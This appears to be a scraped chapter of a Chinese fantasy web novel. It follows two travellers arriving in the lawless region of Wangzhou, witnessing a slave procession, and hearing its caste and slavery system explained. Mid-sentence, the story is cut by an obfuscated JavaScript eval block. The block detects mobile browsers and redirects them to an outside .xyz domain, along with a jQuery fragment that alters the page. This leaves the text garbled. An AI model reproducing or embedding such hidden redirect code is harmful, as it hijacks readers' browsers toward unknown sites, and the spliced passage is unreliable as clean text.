《女主她有的是力气和手段》 131. 不一样的枉州 因为某些原因,枉州的黑心向导已经被整治干净,所以,凤婵音和空时没有遇上明弈主仆曾经的遭遇。 两人在良心向导的带领下,顺利地攀过丛林小道,安安全全地到达了枉州。 引路的向导服务周到,不仅给他们讲了许多行走枉州的注意事项,还切切叮嘱他们一定要尽快去城主府兑换通行令牌,花小钱,免大灾。 凤婵音心下不由感叹,传言有误啊,师兄们给她的游记小札里,把枉州形容得礼乐崩坏,一片混乱,毫无法度可言,并且重点强调了黑心向导的丧心病狂、见钱眼开。 她和空时挑选向导时,生怕遇上了谋财害命的黑心向导,慎之又慎地选了一个他们认为比较老实可靠的,并且一路上都在提防他搞鬼。 结果呢?人家向导不仅尽职负责、价格公道,而且热心善良,风趣幽默,一点害人的意图都没有!倒显得他们小人之心,心思阴暗了。 据向导所言,几年前的向导行业的确比较混乱,有些黑心肝的人为了钱财,什么都干得出来,直接把外地人引到小土匪门口的都有。 大约四年前,这些人似乎是踢到了铁板,被冕山的人下狠手惩治了一番,此后,向导们就再不敢挣黑心钱了。 向导口中的冕山,是枉州最大的土匪势力之一,惹到他们,就是半条腿跨进了阎王殿里。 当然,本地人是不这么叫的,这里的人对已成势的大土匪的称呼是“山头”“外城”,对山匪头子的称呼是:山主、外城主。 城里有城主,城外有山主,这就是枉州目前的局势。 说到枉州的局势,就不得不提一提枉州的历史。 枉州原称南漓,在前朝羲国大一统之前,曾是一片与世隔绝的地区,是后来羲国大将凌飞云在幽云涧上修筑了栈桥,将其纳入羲国版图,并改名枉州,才使其与外界的交往渐渐多了起来。 羲国国灭之后,天下战乱四起,当时的枉州城主为了避免卷入外界纷争,主动毁去幽云栈桥,致使枉州与外界再次隔离。 后来,东昭、中梁、西越三分天下,因着枉州特殊的气候和地形,谁都没能将其攻下。 据说,幽云栈毁之后,枉州倒是过了一段岁月静好的日子,可碰上几次天灾人祸,不免就生出了一些盗匪,加之城主府势力逐渐减弱,无力制衡辖下官员武将,因此又分裂出了许多的新势力。 幽云栈桥断毁不过几十年,外界正打得激烈的时候,枉州城内也不太平。 官员草菅人命,盗匪肆意抢掠,律法几乎失去了效用,不管是外地人,还是本地百姓,都成了任人宰割的鱼肉。 直到,枉州的权贵们发现,枉州人口凋零严重,占来的土地找不到佃户耕种,抢来的矿山没有奴隶开采,情况才忽而有了转机。 为了遏制情况继续恶化,枉州的大小势力齐聚一堂,商定修养生息之计,大致的方略就是,抢可以,杀人不可以,抢本地人为奴隶可以,抢外地人不可以。 接着,又出台了一系列的政策,鼓励生育,吸引外地客商、流民进驻,这才逐步改善了人口凋零的问题。 据凤婵音所知,枉州不仅优待外地客商,而且非常欢迎外地流民。枉州鼓励外地人更换籍书,变成枉州城民,并且会给这些新城民分配土地。 看似是个非常好的政策,实则却隐藏着不少陷阱。 因为,枉州的各势力虽然喜欢外地人、优待外地人,但对本地人,却非常严苛。 一旦成了枉州城民,那么,就表示可以被各势力随意争抢。枉州的平民百姓如果没有投靠一方强大的势力,是随时有可能被别的势力抢去做奴隶的。 且这一现象,在枉州司空见惯,城主府都不会管。 城主府只管大致保障外地人的权益,至于本地人的权益,那就靠各方势力自己去博弈了。 这也是,向导再三嘱咐她和空时尽快去城主府兑换令牌的原因。 没有城主府颁发的证明身份的令牌,某些不讲究的小土匪会将外地人当成无主的本地人,抢去山上做苦力。 事情没有被发现,就可浑水摸鱼,若是被发现了,也可以用一句“弄错了”搪塞过去。 为避免凤婵音和空时被当成无主的羔羊,向导将他们一路领到城主府所在的回崖城,指了兑换令牌的官衙给他们之后才离开。 空时打量着繁华热闹的回崖城,怀疑道:“枉州真有那么乱吗?看着还好啊。” 凤婵音道:“回崖城毕竟是城主府所在地,外面再是乱,也暂时不会乱到这儿。” 枉州是乱,但她也没打算去官衙兑换身份令牌,虽然她和空时有伪造得以假乱真的身份路引,不会被枉州官吏识破,但在官府留下信息,总归有隐患。 别忘了,她可是跑出来的。 路引上的姓名、年龄能作假,但样貌做不了假,兑换了令牌,给官衙的人留了印象,岂不是给家里人指了路? 虽不兑换令牌,但凤婵音和空时还是跟随一队外地商人,去枉州衙署看了看,只见客商领到的令牌上简要刻了姓名、原籍地、进城日期、停留时间。 令牌有两种,一种青色的,代表游客身份。 一种红色令牌,代表商客身份。 不过,他们听办令牌的官差解释说,两种令牌只是做一个简要的区分,并没有严格的限制和约束。 拿游客牌的人,想在枉州行商,也是可以的。 拿商客牌的人,一宗买卖也没做成,也无妨。 官衙的人对来办令牌的人都格外热情,温声细语的,仿佛把一副笑模样刻在了脸上。 空时更加觉得外界传言有虚了,他见到的大昭官吏,可比这枉州城的小吏刻薄百倍。 他不由得对枉州产生了极大的好感,认为这是一片遗落在山林的宝地。 无论是带路的向导、办事的官差,还是城中的居民,都和和善善的,对他们这些外地人,又热情,又周到,这怎么不是人杰地灵的宝地呢? 他抱着这个天真的想法,走出官衙,行到繁华热闹的主街,感受到了与大昭截然不同的异域风情,心里愈发觉得这地方好,适合常住。 直到,他在主街上看到了一幅此生都难以忘怀的场景——奴隶过市。 一片又一片的奴隶被绳子串成一串,在官兵的押解下,从街道上缓缓行过。 他们赤着双脚,衣衫褴褛,头发打结,脸上和衣角上还凝结着一块块干枯的血渍,且大都是老弱妇孺,其中还有几岁的孩童和被抱在怀中的婴儿。 空时看着这与周围的繁华热闹格格不入的场景,心中既怜悯,又纳罕。 城中的居民却似是对这场面习以为常,既不惊讶,也不好奇,只简单地扫视了两眼,就又开始各自做各自的事情。 “这又是哪处地方惹了城中的大人不悦?” 空时听到有人谈论道,语气中只有淡淡的戏谑和全然的冷漠。 “也有可能,是哪个小山头不知死活,抢了不该抢的东西。” 另外一个人道。 这时,一个知情人替他们解惑道:“你们啊,都猜错了。我听说,是北面的矿山出了事,死了一批矿工,矿上人手不足,所以大人们才出去猎了些奴隶回来。” “哦?”前面说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816438|162937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人询问道,“那这次,是哪片地儿倒了大霉?怎么连老人和孩子都抓了来?往常不是都只要青壮的吗?” 知情人笑了笑,道:“是何家村的。他们本就是城主府的佃农,城主大人有召,他们不遵从也就罢了,竟还想去投靠冕山,这不是找死吗?大人们一怒之下,就剿了他们整个村落,连一只鸡都没放过。” 看客们听到此言,都赞同地点头道:“那确实是该死。” 空时被他们言语和神情之中的冷漠惊住了,这还是之前对他笑语相迎的好客城民吗? 怎么他们对外地人和善热情,对自己人却如此冷漠? 凤婵音看他一副怀疑人生的模样,道:“师兄们的游札,你没有好好看吧。” 空时心虚地挠了挠头:“看了几本,还没看完。” 凤婵音没有骂他,替他解惑道:“三师兄的游札上面有写,这枉州,除了盗匪林立,法度崩塌,势大的匪首与城主平起平坐之外,还有一点与外界不同,就是奴隶制。” “枉州的城民,依照户籍身份,分为五等,权贵和受各山保护的大匪,是第一等,城中居民和小匪是第二等,这两种城民,都有奴役别人的权利。” “城外的村民是第三等,他们没有权利畜养奴隶,但也不能轻易被贬为奴隶。” “富户手中的佃农是第四等,他们除了没有土地,需要佃主家的地来耕种、承担高昂的佃租之外,还没有人身自由权,相当于是主家的半奴,要不时承担主家分派的繁重徭役。” “至于第五等,就是枉州最底层的奴隶了,生杀予夺全在主家的一念之间,与牲畜无异。” “枉州奉行实力为尊,城与城之间、城与匪之间时常有争端,若是哪方势力吞并了另一方势力,那么,后者的所有子民,就会成为前者的奴隶。” 空时之前没有认真翻阅游札,所以对枉州的形势处于一知半解的状态,此刻听了凤婵音的解释,才彻底弄清楚了枉州城民的区别。 他恍然道:“怪不得这城中的居民对那些奴隶毫无怜悯之心,原来他们就是奴役奴隶的一员。” 凤婵音点了点头:“在他们眼里,奴隶是牛是马,是能干活的牲畜,但不是与他们同等的人,所以他们绝不会同情那些人。” 空时大开眼界,小声道:“这城主府如此随心所欲,没有人性,与外面的那些山匪也没什么区别。” 凤婵音笑道:“你还真说对了,枉州早已没有统一的法度可言,一切都靠拳头说话,官亦是匪,匪亦是官。” 空时皱眉道:“我不喜欢这个地方,师姐,我们还是尽快离开吧,还是去西越得好,听说西越的都城,是全天下最繁华的贸易之都,一定有不少好玩的地方。” “先不着急。”凤婵音安抚道,“法度言明有法度言明的好,秩序崩坏也有秩序崩坏的益处,来都来了,我们就多待一段时间。” 空时的眉头皱得更紧了:“秩序崩坏,还能有好处?” 凤婵音笑道:“那就要看从什么方面去考量了。至少在男女权益这一方面,枉州是我知道的,对女子要求最为宽和的地方。” 她指着街上熙熙攘攘的人群道,“你看,这里的女子出行,从来不需要带帷冒,也不需要男子相陪,她们自己就可以随心所欲地在外行走,且不会被人用异样的眼光审视。” 空时一看,还真是这样,他惊叹道:“不止是行人诶,那些做生意的摊贩和商铺老板当中,也有不少是女子!她们家中的男子,竟也没有异议。” 说完,他这才想起来,枉州的现任城主和目前最大的山匪头子冕山之主,皆是女子来着。